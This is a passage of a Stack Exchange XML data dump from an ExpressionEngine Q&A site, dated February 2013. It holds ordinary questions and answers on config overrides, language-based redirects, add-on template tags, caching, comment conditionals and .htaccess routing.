PDF data or whatnot. Then when the user clicks the download link, they'll be prompted to download the file. There is no file on the server - Your PHP script is generating PDF output - but you need to tell the browser that. There are lots of &lt;a href=&quot;https://stackoverflow.com/questions/3718962/force-file-download-in-php&quot;&gt;resources on that&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're determined to do something in Word, I attempted years ago to merge data/content into RTF format by saving an existing doc as RTF and cracking it open. It was messy. Something that allows you to programmatically insert and plot content into a PDF is what you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-02-11T18:34:04.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6155" PostTypeId="1" AcceptedAnswerId="6157" CreationDate="2013-02-11T19:05:12.700" Score="1" ViewCount="48" Body="&lt;p&gt;Is there a way to disable Deny Multiple Logins via a $config override?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="491" LastActivityDate="2013-02-11T19:10:58.530" Title="Deny Multiple Login Override in config" Tags="|config|login|config-overrides|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6156" PostTypeId="1" AcceptedAnswerId="6487" CreationDate="2013-02-11T19:05:23.027" Score="5" ViewCount="5416" Body="&lt;p&gt;I would like to know what's the best method to redirect a site depending on the browsers language settings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to redirect the following browser locales to /es:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;es-ar, es-co, es-cu, es-do, es-gt, es-ht, es-mx, es-ni, es-pe, es-pr, es-sv and of course es and es-es&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i know it could be done via .htaccess but the following did not work at all: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; RewriteCond %{HTTP:Accept-Language} (es|es-ec|es-mx|es-co) [NC]&#xA; RewriteRule .* http://www.%{HTTP_HOST}/es/ [R,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I think the best would be to do this in the index.php template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the /index.php I would need some sort of redirection upon language detection but my php skills are very limited, so maybe someone can show me the right path: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;something like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($_SERVER['HTTP_ACCEPT_LANGUAGE'] = &quot;es|es-es|...&quot;)&#xA;{&#xA;    // header( 'Location: http://${_SERVER['HTTP_HOST']}/es/');&#xA;    //please help!   &#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any help appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers&lt;br&gt;&#xA;stefan&lt;/p&gt;&#xA;" OwnerUserId="388" LastEditorUserId="388" LastEditDate="2013-02-11T19:16:23.517" LastActivityDate="2015-03-17T16:49:34.543" Title="how can I redirect a homepage depending on the browser language settings" Tags="|redirects|multi-language|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6157" PostTypeId="2" ParentId="6155" CreationDate="2013-02-11T19:10:58.530" Score="2" Body="&lt;p&gt;You can use [allow_multi_logins] =&gt; n in your config.php for this.  Make sure it's in the same format as the other config items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the full list in the wiki, via the Wayback Machine: &lt;a href=&quot;http://web.archive.org/web/20120621185434/http://expressionengine.com/wiki/EE_2_Config_Overrides&quot; rel=&quot;nofollow&quot;&gt;EE 2 Config Overrides&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-11T19:10:58.530" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6158" PostTypeId="1" AcceptedAnswerId="6177" CreationDate="2013-02-11T19:22:41.103" Score="2" ViewCount="313" Body="&lt;p&gt;I can't quite get my head around this one but I'm using Expresso Store, Playa, and Matrix. The parent entry has a Matrix field with a Playa relationship field in one of the cells. This links to a product which is of the Store field type. I need to retrieve the price of that product in the other channel. How?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify, I have a '&lt;em&gt;Lists&lt;/em&gt;' channel and a '&lt;em&gt;Gifts&lt;/em&gt;' channel. The &lt;em&gt;Gifts&lt;/em&gt; channel stores the product info using the Store field. The &lt;em&gt;Lists&lt;/em&gt; channel is the parent and makes the relationship. The product is related (by title of the product) in a Matrix field in the parent. I can extract the title of the product successfully like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{product_list} {!-- Matrix field of the parent --}&#xA;    {product}  {!-- Matrix cell of the above field --}&#xA;        {title} {!-- Title of the product successfully retrieved --}&#xA;    {/product}&#xA;{/product_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above works. The following doesn't work but it's the kind of thing that I want to be able to do but don't know how with this level of nesting or retrieval:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{product_list} {!-- Matrix field of the parent --}&#xA;    {product}  {!-- Matrix cell of the above field --}&#xA;        {title} {!-- Title of the product successfully retrieved --}&#xA;        {product_info} {!-- Store field of the related product in Gifts channel --}&#xA;            {regular_price} {!-- Price field within the Store field --}&#xA;        {/product_info}&#xA;    {/product}&#xA;{/product_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-02-12T01:26:50.033" Title="How to retrieve a value from a Store field within a Playa relationship with a Matrix Cell?" Tags="|expresso-store|matrix|playa|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6159" PostTypeId="2" ParentId="6156" CreationDate="2013-02-11T19:27:04.137" Score="2" Body="&lt;p&gt;This should do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$accept_language = explode(',',$_SERVER['HTTP_ACCEPT_LANGUAGE']);&#xA;$lang = $accept_language[0];&#xA;echo $lang;&#xA;switch ($lang)&#xA;{&#xA;    case 'en-US':&#xA;    case 'en':&#xA;        echo 'Success!';&#xA;        break;&#xA;    default:&#xA;        echo 'Count on En';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-02-11T19:27:04.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6160" PostTypeId="1" CreationDate="2013-02-11T19:48:12.683" Score="3" ViewCount="169" Body="&lt;p&gt;I am fairly new to ExpressionEngine, I have noticed my admin page is missing &quot;Channel&quot;, &quot;template&quot;, and &quot;template group&quot; as seen on this page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/how_to/building_a_simple_news_site.html#before-you-begin&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/how_to/building_a_simple_news_site.html#before-you-begin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please advise?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="989" LastEditorUserId="293" LastEditDate="2013-02-11T19:51:01.740" LastActivityDate="2013-02-12T01:56:20.537" Title="Missing &quot;Create&quot; options, such as Channel, on ExpressionEngine CP Dashboard" Tags="|templates|channel|admin|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6161" PostTypeId="2" ParentId="6122" CreationDate="2013-02-11T19:52:01.947" Score="0" Body="&lt;p&gt;I'm not sure it explains the .5 second load time difference, but while you are trying to save the main content variable you are actually replacing the variable on every page view:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set scope=&quot;site&quot; parse_tags='yes' parse_conditionals='yes' save='yes' refresh='60'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you add the &lt;code&gt;replace=&quot;no&quot;&lt;/code&gt; parameter then the cache won't be rebuilt with every page view. Instead, it will only be rebuilt after the &lt;code&gt;refresh=&quot;x&quot;&lt;/code&gt; period specified.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set scope=&quot;site&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot; save=&quot;yes&quot; refresh='60' replace=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will help get the queries down, however the longer processing time is most likely some kind of recursion. My &lt;em&gt;guess&lt;/em&gt; is nsm_transplant might be in conflict with Stash in some way.&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-02-11T19:52:01.947" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6162" PostTypeId="2" ParentId="6160" CreationDate="2013-02-11T20:01:07.563" Score="4" Body="&lt;p&gt;I expect the developer who configured the site restricted your admin privileges so that you can create entries and post content to the site, but not configure the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channels, template groups and templates are all underlying components that structure what the site supports and how it renders. They all need to be accompanied by code to work on the website, as opposed to posting/editing content entries, which the templates you have in place should already match.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-02-11T20:01:07.563" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6163" PostTypeId="5" CreationDate="2013-02-11T20:21:03.763" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://solspace.com/freeform/&quot; rel=&quot;nofollow&quot; title=&quot;Freeform&quot;&gt;Freeform&lt;/a&gt; is an ExpressionEngine add-on developed by &lt;a href=&quot;http://solspace.com/&quot; rel=&quot;nofollow&quot; title=&quot;Solspace&quot;&gt;Solspace&lt;/a&gt; that allows you to create complex multi-page forms with an intuitive drag and drop interface and collect submissions from site visitors. Official documentation can be found at &lt;a href=&quot;http://solspace.com/docs/freeform/&quot; rel=&quot;nofollow&quot; title=&quot;solspace.com/docs/freeform&quot;&gt;solspace.com/docs/freeform&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2013-02-11T20:24:09.280" LastActivityDate="2013-02-11T20:24:09.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6164" PostTypeId="4" CreationDate="2013-02-11T20:21:03.763" Score="0" Body="An ExpressionEngine add-on that allows you to create complex multi-page forms with an intuitive drag and drop interface and collect submissions from site visitors." OwnerUserId="884" LastEditorUserId="884" LastEditDate="2013-02-11T20:24:12.867" LastActivityDate="2013-02-11T20:24:12.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6165" PostTypeId="5" CreationDate="2013-02-11T20:47:31.073" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://solspace.com/user/&quot; rel=&quot;nofollow&quot; title=&quot;User&quot;&gt;User&lt;/a&gt; is an ExpressionEngine add-on developed by &lt;a href=&quot;http://solspace.com/&quot; rel=&quot;nofollow&quot; title=&quot;Solspace&quot;&gt;Solspace&lt;/a&gt; that allows you to create powerful and flexible member management areas on your site using just regular EE templates. Official documentation can be found at &lt;a href=&quot;http://solspace.com/docs/user/&quot; rel=&quot;nofollow&quot; title=&quot;solspace.com/docs/user&quot;&gt;solspace.com/docs/user&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2013-02-11T20:48:34.640" LastActivityDate="2013-02-11T20:48:34.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6166" PostTypeId="4" CreationDate="2013-02-11T20:47:31.073" Score="0" Body="An ExpressionEngine add-on that allows you to create powerful and flexible member management areas on your site using just regular EE templates." OwnerUserId="884" LastEditorUserId="884" LastEditDate="2013-02-11T20:48:38.243" LastActivityDate="2013-02-11T20:48:38.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6167" PostTypeId="5" CreationDate="2013-02-11T20:55:58.977" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://solspace.com&quot; rel=&quot;nofollow&quot; title=&quot;Solspace&quot;&gt;Solspace&lt;/a&gt; is a web development company that provides website and custom software development services, as well as a large collection of ExpressionEngine add-ons.&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2013-02-11T22:07:42.560" LastActivityDate="2013-02-11T22:07:42.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6168" PostTypeId="4" CreationDate="2013-02-11T20:55:58.977" Score="0" Body="A web development company that provides website and custom software development services, as well as a large collection of ExpressionEngine add-ons." OwnerUserId="884" LastEditorUserId="884" LastEditDate="2013-02-11T22:08:06.163" LastActivityDate="2013-02-11T22:08:06.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6169" PostTypeId="5" CreationDate="2013-02-11T21:03:06.880" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://solspace.com/calendar/&quot; rel=&quot;nofollow&quot; title=&quot;Calendar&quot;&gt;Calendar&lt;/a&gt; is an ExpressionEngine add-on developed by &lt;a href=&quot;http://solspace.com/&quot; rel=&quot;nofollow&quot; title=&quot;Solspace&quot;&gt;Solspace&lt;/a&gt; that allows you to create full-featured calendars, including advanced recurrence and exception rules for events. Import &amp;amp; export events with ICS. Official documentation can be found at &lt;a href=&quot;http://solspace.com/docs/calendar/&quot; rel=&quot;nofollow&quot; title=&quot;solspace.com/docs/calendar&quot;&gt;solspace.com/docs/calendar&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2013-02-11T22:07:46.553" LastActivityDate="2013-02-11T22:07:46.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6170" PostTypeId="4" CreationDate="2013-02-11T21:03:06.880" Score="0" Body="An ExpressionEngine add-on that allows you to create full-featured calendars, including advanced recurrence and exception rules for events." OwnerUserId="884" LastEditorUserId="884" LastEditDate="2013-02-11T22:07:50.250" LastActivityDate="2013-02-11T22:07:50.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6171" PostTypeId="5" CreationDate="2013-02-11T21:05:35.053" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://solspace.com/tag/&quot; rel=&quot;nofollow&quot; title=&quot;Tag&quot;&gt;Tag&lt;/a&gt; is an ExpressionEngine add-on developed by &lt;a href=&quot;http://solspace.com/&quot; rel=&quot;nofollow&quot; title=&quot;Solspace&quot;&gt;Solspace&lt;/a&gt; that allows you to tag your content with keywords and intuitively display relationships between entries. Official documentation can be found at &lt;a href=&quot;http://solspace.com/docs/tag/&quot; rel=&quot;nofollow&quot; title=&quot;solspace.com/docs/tag&quot;&gt;solspace.com/docs/tag&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2013-02-11T22:07:36.553" LastActivityDate="2013-02-11T22:07:36.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6172" PostTypeId="4" CreationDate="2013-02-11T21:05:35.053" Score="0" Body="An ExpressionEngine add-on that allows you to tag your content with keywords and intuitively display relationships between entries." OwnerUserId="884" LastEditorUserId="884" LastEditDate="2013-02-11T22:08:14.103" LastActivityDate="2013-02-11T22:08:14.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6173" PostTypeId="5" CreationDate="2013-02-11T21:08:13.100" Score="0" Body="&lt;p&gt;This native EE tag allows you to display a full or mini calendar of channel entries which contains links based on entries in your channel. &lt;a href=&quot;http://gine/user-guide/modules/channel/calendar.html&quot; rel=&quot;nofollow&quot;&gt;Full documentation can be found here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2013-02-11T22:07:55.210" LastActivityDate="2013-02-11T22:07:55.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6174" PostTypeId="4" CreationDate="2013-02-11T21:08:13.100" Score="0" Body="Native EE calendar tag allows you to display a full or mini calendar of channel entries which contains links based on entries in your channel." OwnerUserId="884" LastEditorUserId="884" LastEditDate="2013-02-11T22:08:09.330" LastActivityDate="2013-02-11T22:08:09.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6176" PostTypeId="2" ParentId="6123" CreationDate="2013-02-11T21:40:17.363" Score="0" Body="&lt;p&gt;You could loop through the values you're using to create the pipe-delimited list and call &lt;code&gt;exp:channel:entries&lt;/code&gt; for each hit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried getting all rows in SQL, so you could use &lt;code&gt;exp:query&lt;/code&gt; and pass each &lt;code&gt;entry_id&lt;/code&gt; into an embed, but SQL only returns the distinct rows as well, seemingly no matter what you throw at it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Select entry_id from exp_channel_titles t where entry_id in (1, 2, 3, 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you do pull each entry individually in a loop, consider making it a plugin or using &lt;code&gt;exp:query&lt;/code&gt; to optimize things.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-02-11T21:40:17.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6177" PostTypeId="2" ParentId="6158" CreationDate="2013-02-11T21:48:48.863" Score="3" Body="&lt;p&gt;There are a couple of ways to approach this if you are just wanting to have price you would want do something along the following (as referenced &lt;a href=&quot;https://exp-resso.com/docs/store/product_tag.html#product_tag_variables&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Most variables can also be used outside of the product form, inside a&#xA;  standard {exp:channel:entries} loop. For example, if your Store&#xA;  products custom field is named “product_details”, then the price is&#xA;  also accessible as: &lt;code&gt;{product_details:price}&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{product_list} {!-- Matrix field of the parent --}&#xA;    {product}  {!-- Matrix cell of the above field --}&#xA;        {title} {!-- Title of the product successfully retrieved --}&#xA;        {product_info:price} {!-- This is the format of custom_field_name:value_to_retieve --}&#xA;        {product_info:regular_price}&#xA;        {product_info:sale_price}&#xA;    {/product}&#xA;{/product_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are wanting to add the item to the cart you would want to do something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{product_list} {!-- Matrix field of the parent --}&#xA;    {product}  {!-- Matrix cell of the above field --}&#xA;        {title} {!-- Title of the product successfully retrieved --}&#xA;        {exp:store:product entry_id=&quot;{entry_id}&quot;} {!-- Store field of the related product in Gifts channel --}&#xA;            {regular_price} {!-- Price field within the Store field --}&#xA;Other fields here like quantity, modifiers, and a submit button&#xA;        {/exp:store:product}&#xA;    {/product}&#xA;{/product_list} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2013-02-12T01:26:50.033" LastActivityDate="2013-02-12T01:26:50.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6178" PostTypeId="2" ParentId="6110" CreationDate="2013-02-11T21:51:18.120" Score="0" Body="&lt;p&gt;If you have the comment form code inside the channel entries loop take it out. It needs to stand alone.  It will grab the url_title dynamically.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2013-02-11T21:51:18.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6179" PostTypeId="1" AcceptedAnswerId="6184" CreationDate="2013-02-11T22:11:42.947" Score="2" ViewCount="378" Body="&lt;p&gt;I have a form which will have a date range split into day month year as 3 individual HTML select options for FROM and TO - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From: SELECT option day, month year &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To: SELECT option day, month, year&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to search on a channel field of type date (Currently stored as a UNIX time stamp)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best solution to get the entire range to search and how best to convert the date supplied?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not seeing the default search functionality will help me?&lt;/p&gt;&#xA;" OwnerUserId="978" LastActivityDate="2013-02-12T01:10:44.727" Title="Search Date on channel field of type date" Tags="|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6180" PostTypeId="1" AcceptedAnswerId="6181" CreationDate="2013-02-11T22:25:31.620" Score="3" ViewCount="107" Body="&lt;p&gt;I'm having trouble grasping the usefulness of {if allow_comments}. The comment:entries loop and comments form code are both supposed to be &lt;strong&gt;outside&lt;/strong&gt; of channel:entries, but presumable {if allow_comments} only works &lt;strong&gt;inside&lt;/strong&gt; channel:entries. So I find myself having to use the channel:entries tag repeatedly around the elements in order to use the conditional. So my code get's all ugly like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; disable=&quot;category_fields|member_data|pagination&quot; dynamic=&quot;no&quot; status=&quot;Open|Featured&quot; url_title=&quot;{segment_3}&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot;}    &#xA;{if allow_comments &amp;amp;&amp;amp; comment_total &amp;gt; 0}&#xA;                &amp;lt;div class=&quot;dividerBig&quot;&amp;gt;.&amp;lt;/div&amp;gt;&#xA;                &amp;lt;h1&amp;gt;Comments&amp;lt;/h1&amp;gt;&#xA;                &amp;lt;ul class=&quot;comments&quot;&amp;gt;&#xA;                {/if}&amp;lt;!-- end allow comments --&amp;gt;&#xA;            {/exp:channel:entries}&#xA;&#xA;                    {exp:comment:entries channel=&quot;blog&quot; url_title=&quot;{segment_3}&quot; orderby=&quot;date&quot; sort=&quot;asc&quot;}&#xA;                    &amp;lt;li&amp;gt;&#xA;                        &amp;lt;h3&amp;gt;&amp;lt;span&amp;gt;{name}&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                        {comment}&#xA;                        &amp;lt;span class=&quot;date&quot;&amp;gt;{comment_date format=&quot;%F %d, %Y&quot;}&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                    {/exp:comment:entries}&#xA;&#xA;            {exp:channel:entries channel=&quot;blog&quot; disable=&quot;category_fields|member_data|pagination&quot; dynamic=&quot;no&quot; status=&quot;Open|Featured&quot; url_title=&quot;{segment_3}&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot;}&#xA;                {if allow_comments &amp;amp;&amp;amp; comment_total &amp;gt; 0}    &#xA;                &amp;lt;/ul&amp;gt;&#xA;                {/if}&amp;lt;!-- end allow comments --&amp;gt;&#xA;&#xA;                {if allow_comments}&#xA;                &amp;lt;div class=&quot;dividerBig&quot;&amp;gt;.&amp;lt;/div&amp;gt;&#xA;                &amp;lt;h1&amp;gt;Write a comment&amp;lt;/h1&amp;gt;&#xA;                {/if}&amp;lt;!-- end allow comments --&amp;gt;&#xA;            {/exp:channel:entries}&#xA;&#xA;                {exp:comment:form channel=&quot;blog&quot; url_title=&quot;{segment_3}&quot; preview=&quot;blog/comment&quot; form_class=&quot;default&quot; return=&quot;{homepage}blog/comment-thanks&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This looks rediculous and I'm sure using so many channel:entries tags is a performance hit, but how else do you effectively use the {if allow_comments} conditional?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do people put their comment:entries and comments forms inside embed templates? Is that any better?&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2013-02-11T22:40:30.253" Title="How to correctly use {if allow_comments}?" Tags="|conditionals|comments|comment-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6181" PostTypeId="2" ParentId="6180" CreationDate="2013-02-11T22:40:30.253" Score="2" Body="&lt;p&gt;I usually do something like this, within my Channel Entries tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if comment_total &amp;gt; &quot;0&quot; || allow_comments}&#xA;    {embed=&quot;blog/_comment_list&quot;}&#xA;{/if}&#xA;&#xA;{if allow_comments}&#xA;    {embed=&quot;blog/_comment_add&quot;}&#xA;{if:else}&#xA;    &amp;lt;p&amp;gt;Sorry, comments are closed.&amp;lt;/p&amp;gt;&#xA;{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the appropriate chunks of &lt;code&gt;comment:entries&lt;/code&gt; and &lt;code&gt;comment:form&lt;/code&gt; code in those embeds respectively. Much cleaner.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-11T22:40:30.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6182" PostTypeId="1" AcceptedAnswerId="6186" CreationDate="2013-02-11T23:57:50.670" Score="2" ViewCount="146" Body="&lt;p&gt;I have a directory in my web root (let's call it &lt;code&gt;microsite&lt;/code&gt;) that is not managed by my main ExpressionEngine site, but people still need to access it. So, naturally, I just navigate to &lt;a href=&quot;http://mysite.com/microsite&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/microsite&lt;/a&gt; and I'm good to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm wondering is what is ExpressionEngine's process when it encounters a URL segment that isn't a template, but isn't a 404 either? What are the steps it/the server takes for me to ultimately arrive at my non-EE destination?&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-02-12T01:16:56.230" Title="How Does ExpressionEngine Handle Outside Directories?" Tags="|segments|server|404|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6183" PostTypeId="2" ParentId="6182" CreationDate="2013-02-12T00:23:21.287" Score="3" Body="&lt;p&gt;Is this URL failing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE shouldn't do anything. Since the directory exists on the server it should load just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will only be an issue if you have a template group with the same name. In that case, EE will load the template group if I remember correctly.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-12T00:23:21.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6184" PostTypeId="2" ParentId="6179" CreationDate="2013-02-12T01:10:44.727" Score="2" Body="&lt;p&gt;There are two search addons that may help:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/low-search&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Low Search&lt;/strong&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Limiting entries by a given range, based on channel fields;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/super-search&quot; rel=&quot;nofollow&quot;&gt;Super Search&lt;/a&gt;&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Anything you might want to search for... keywords, channels, categories, statuses, authors, custom fields, &lt;strong&gt;date ranges&lt;/strong&gt;, custom field numeric ranges, etc, can be loaded into a single URI segment with the Super Search syntax.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-12T01:10:44.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6185" PostTypeId="2" ParentId="6149" CreationDate="2013-02-12T01:16:29.883" Score="0" Body="&lt;p&gt;IMO, the best for readability is to import into Excel from a CSV export.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After exporting to CSV, change the file name to .txt if it isn't using that already. Then go into Excel and select Open from the File menu, navigate to your .txt file and select it. This will start the Excel import wizard. Click through the wizard and select the appropriate options based on the file and when you get to the end you will have all your data in Excel organized with the appropriate columns.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-12T01:16:29.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6186" PostTypeId="2" ParentId="6182" CreationDate="2013-02-12T01:16:56.230" Score="5" Body="&lt;p&gt;This will depend entirely on how you have your server set up. ExpressionEngine is only aware of things that go through the index.php file (or if you have by chance renamed this file, then whatever you renamed it). On Linux servers, often .htaccess will be used to remove index.php from the URL but still send all requests through index.php. So for instance, here is the htaccess configuration I typically use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To keep things short, what that essentially does is have the server check if the file or folder the URL is requesting exists. If it does, then that file or folder is served. If not, then the request goes through index.php, and therefore through ExpressionEngine. EE of course then decides whether to serve a template or to throw a 404. How EE handles all that will depend on your EE configuration, whether you have strict URLs turned on, whether the template group exists, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I said, you could have a different configuration and that will affect this information, but I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="467" LastActivityDate="2013-02-12T01:16:56.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
